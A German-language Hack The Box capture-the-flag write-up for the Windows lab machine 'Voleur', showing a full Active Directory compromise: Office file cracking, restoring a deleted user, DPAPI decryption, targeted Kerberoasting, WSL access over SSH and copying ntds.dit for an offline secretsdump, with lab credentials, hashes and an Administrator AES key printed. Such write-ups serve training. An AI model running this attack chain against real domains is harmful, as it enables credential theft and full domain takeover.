HTB · published
Voleur
Hack The Box CPTS-Track Writeup für Voleur: Kerberos-only Active Directory Enumeration, verschlüsseltes Access Review, User Restore, DPAPI, targeted Kerberoasting, WSL/SSH und Offline-NTDS zu Administrator.
Metadaten
- Name: Voleur
- IP Address:
10.129.232.130 - Plattform: Windows
- Kategorie: Active Directory / Kerberos / SMB / DPAPI / WSL / Offline NTDS
- Schwierigkeit: Medium
- Ziel(e): User, Administrator
- Kurzbeschreibung des Szenarios: Voleur ist eine Active-Directory-Machine mit starkem Fokus auf Kerberos-Enumeration, Support-Share-Analyse und Credential Chaining. Der Weg führt über ein verschlüsseltes Excel-Review, das Wiederherstellen eines gelöschten Users, DPAPI-Credentials, targeted Kerberoasting, WSL/SSH und zuletzt Offline-Dumping von
ntds.dit.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 10000 -T4 -v -n -oN scans/nmap_full_tcp.nmap 10.129.232.130
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2222/tcp open EtherNetIP-1
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
servicescan:
nmap -sC -sV -O -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389 --version-all -oN scans/nmap_service_versions.nmap 10.129.232.130
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
3268/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Domain: voleur.htb
Host: DC
SMB signing: enabled and required
Clock skew: about 17h49m
Der Port 2222 war besonders interessant: Obwohl das Ziel ein Windows Domain Controller ist, lief dort ein OpenSSH-Dienst mit Ubuntu-Banner. Das deutete früh auf eine WSL-Komponente hin.
LDAP ließ sich anonym zumindest für Basisinformationen abfragen:
ldapsearch -x -H ldap://10.129.232.130 -s base namingcontexts
namingcontexts: DC=voleur,DC=htb
namingcontexts: CN=Configuration,DC=voleur,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=voleur,DC=htb
Eine Kerberos-Userenum bestätigte mehrere gültige Accounts:
administrator
dc
svc_winrm
svc_backup
svc_ldap
ryan.naylor
AS-REP Roasting lieferte keine verwertbaren Treffer. Zusätzlich musste wegen der starken Zeitabweichung mit Kerberos sauber auf die Zielzeit geachtet werden. Praktisch war dafür faketime, damit TGTs und Kerberos-basierte Tools zuverlässig funktionieren.
Als initialer Credential-Satz stand zur Verfügung:
ryan.naylor : HollowOct31Nyt
Mit Ryan konnten über SMB mehrere Shares enumeriert werden:
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
Der interessante Einstieg lag im IT-Share:
IT
└── First-Line Support
└── Access_Review.xlsx
Exploitation (Foothold)
Die Datei Access_Review.xlsx war Office-verschlüsselt. Mit office2john und john ließ sich das Dokument knacken:
office2john Access_Review.xlsx > access_review.hash
john access_review.hash --wordlist=/usr/share/wordlists/rockyou.txt
Access_Review.xlsx : football1
Nach dem Entschlüsseln enthielt das Workbook mehrere wichtige Hinweise und Credentials:
Ryan.Naylor - First-Line Support Technician
Todd.Wolfe - Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.
svc_backup - Windows Backup. Speak to Jeremy!
svc_ldap - P/W - M1XyC9pW7qT5Vn
svc_iis - P/W - N5pXyW1VqM7CZ8
svc_winrm - Need to ask Lacey as she reset this recently.
Der erste echte Pivot war svc_ldap. Der Account war nicht direkt ein Shell-Foothold, hatte aber ausreichend AD-Rechte, um gelöschte Benutzer wiederherzustellen.
Lateral Movement / User Escalation
Todd Wolfe wiederherstellen
svc_ldap war Mitglied bzw. berechtigt im Kontext Restore_Users. Damit ließ sich der gelöschte User Todd.Wolfe wiederherstellen:
bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set restore 'Todd Wolfe'
[+] CN=Todd Wolfe\0ADEL:... has been restored successfully
Mit dem Passwort aus dem Access Review konnte anschließend ein TGT für Todd erzeugt werden:
impacket-getTGT voleur.htb/todd.wolfe:'NightT1meP1dg3on14'
export KRB5CCNAME=todd.wolfe.ccache
Todd hatte Zugriff auf archivierte Second-Line-Support-Daten:
IT
└── Second-Line Support
└── Archived Users
└── todd.wolfe
└── AppData
In diesem Profil lagen DPAPI-relevante Artefakte, darunter Credential-Blobs und Browserdaten:
AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
AppData\Roaming\Microsoft\Credentials\772275FAD...
AppData\Local\Microsoft\Edge\User Data\Default\Login Data
AppData\Local\Microsoft\Edge\User Data\Local State
DPAPI zu Jeremy
Mit Todds Passwort konnten die DPAPI-Masterkeys entschlüsselt werden. Der relevante Roaming-Credential-Eintrag enthielt anschließend einen weiteren Account:
Target: Jezzas_Account
Username: jeremy.combs
Password: qT3V9pLXyN7W4m
Mit jeremy.combs war der Zugriff auf Third-Line-Support-Material möglich:
IT
└── Third-Line Support
├── id_rsa
└── Note.txt.txt
Die Notiz erklärte den WSL-Kontext:
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin
Der private SSH-Key war für den Account svc_backup verwendbar:
ssh -i id_rsa -p 2222 svc_backup@10.129.232.130
svc_backup
DC
/home/svc_backup
Damit war ein WSL-Foothold auf dem Domain Controller erreicht.
Privilege Escalation (Root / Domain)
User Flag über targeted Kerberoasting
Für die User-Flag war nicht der WSL-Account selbst entscheidend, sondern der Account svc_winrm. BloodHound- bzw. AD-Enumeration zeigte, dass svc_ldap WriteSPN auf svc_winrm hatte. Dadurch war targeted Kerberoasting möglich:
bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set object svc_winrm servicePrincipalName -v http/roast.voleur.htb
impacket-GetUserSPNs voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130 -request
Danach wurde der temporäre SPN wieder entfernt:
bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set object svc_winrm servicePrincipalName
Der TGS-Hash ließ sich offline cracken:
svc_winrm : AFireInsidedeOzarctica980219afi
Direktes WinRM war wegen der Umgebung nicht der sauberste Weg. Aus der WSL-Shell konnte aber über Windows-Prozesse mit Start-Process -Credential ein Kommando im Kontext von svc_winrm ausgeführt werden:
Start-Process powershell.exe -Credential voleur\svc_winrm -ArgumentList '-NoProfile -Command whoami; hostname; type C:\Users\svc_winrm\Desktop\user.txt'
voleur\svc_winrm
DC
9659c[REDACTED-USER-FLAG]f327
WSL Backup-Pfad zu NTDS
Der SSH-Login als svc_backup landete in einer Ubuntu-WSL-Umgebung. Der Account hatte in WSL vollständige sudo-Rechte:
sudo -l
sudo id
(ALL : ALL) NOPASSWD: ALL
uid=0(root) gid=0(root) groups=0(root)
Als WSL-root war das Windows-Dateisystem unter /mnt/c sichtbar. Dadurch wurde ein Backup-Verzeichnis lesbar, das über SMB nicht direkt zugänglich war:
sudo ls -R "/mnt/c/IT/Third-Line Support/Backups"
C:\IT\Third-Line Support\Backups
├── Active Directory
│ └── ntds.dit
└── registry
├── SECURITY
└── SYSTEM
Die Dateien wurden anschließend per SCP kopiert:
scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit' .
scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM' .
scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY' .
Offline Secretsdump
Mit ntds.dit und SYSTEM war ein Offline-Dump möglich:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Statt Pass-the-Hash wurde hier sauber Kerberos mit dem AES-Key genutzt:
impacket-getTGT voleur.htb/Administrator -aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
export KRB5CCNAME=Administrator.ccache
Die Root-Flag konnte danach per Kerberos-SMB abgeholt werden:
impacket-smbclient -k -no-pass //dc.voleur.htb/C$
C:\Users\Administrator\Desktop\root.txt
df985[REDACTED-ROOT-FLAG]83b7
Post-Exploitation
- User Flag:
9659c[REDACTED-USER-FLAG]f327 - Root Flag:
df985[REDACTED-ROOT-FLAG]83b7 - Wichtige Accounts:
ryan.naylor,svc_ldap,todd.wolfe,jeremy.combs,svc_backup,svc_winrm,Administrator - Wichtige Artefakte:
Access_Review.xlsx, Todd-Profilarchiv, DPAPI-Credential-Blobs,id_rsa,ntds.dit,SYSTEM,SECURITY - Wichtige Technik: User Restore, DPAPI-Decryption, targeted Kerberoasting, WSL-Dateisystemzugriff, Offline-NTDS-Dump
- Cleanup: Temporäre SPNs und erzeugte Testartefakte sollten entfernt werden, damit der AD-Zustand nicht unnötig verändert bleibt.
Lessons Learned
- Wichtigster Aha-Moment: Der eigentliche Domain-Admin-Weg kam nicht über klassische Windows-PrivEsc, sondern über WSL-root und ein Windows-Backup-Verzeichnis.
- Früher prüfen: Non-standard Services wie
2222/tcpverdienen sofort besondere Aufmerksamkeit, vor allem wenn ein Windows-Ziel plötzlich ein Linux-/Ubuntu-Banner zeigt. - Technik merken:
WriteSPNauf ein Servicekonto ist ein starker targeted-Kerberoasting-Pfad, auch wenn der Account selbst zunächst keine Shell liefert. - DPAPI ernst nehmen: Archivierte Userprofile können extrem wertvoll sein, wenn das alte Userpasswort bekannt ist und Credential-Blobs erhalten geblieben sind.
- Kerberos sauber halten: Bei starker Clock-Skew lohnt es sich, früh eine reproduzierbare Zeitstrategie mit
faketimeoder synchronisierter VM-Zeit zu nutzen. - Share-Tiers lesen: Support-Ordner wie First-Line, Second-Line und Third-Line sind oft als Storyline gebaut und sollten systematisch geprüft werden.
Notizen
svc_ldapwar der zentrale AD-Control-Pivot, obwohl der Account keine direkte Shell lieferte.Todd.Wolfewar als gelöschter Benutzer wertvoller als ein normaler aktiver Account, weil sein archiviertes Profil DPAPI-Material enthielt.jeremy.combsführte nicht direkt zur Flag, sondern zum SSH-Key und damit zum WSL-Kontext.svc_backupwar in WSL mächtig, aber nicht automatisch als Windows-Admin nutzbar.- Der Admin-Zugriff wurde am Ende über Offline-Domain-Secrets und Kerberos-AES statt über interaktive Shell erreicht.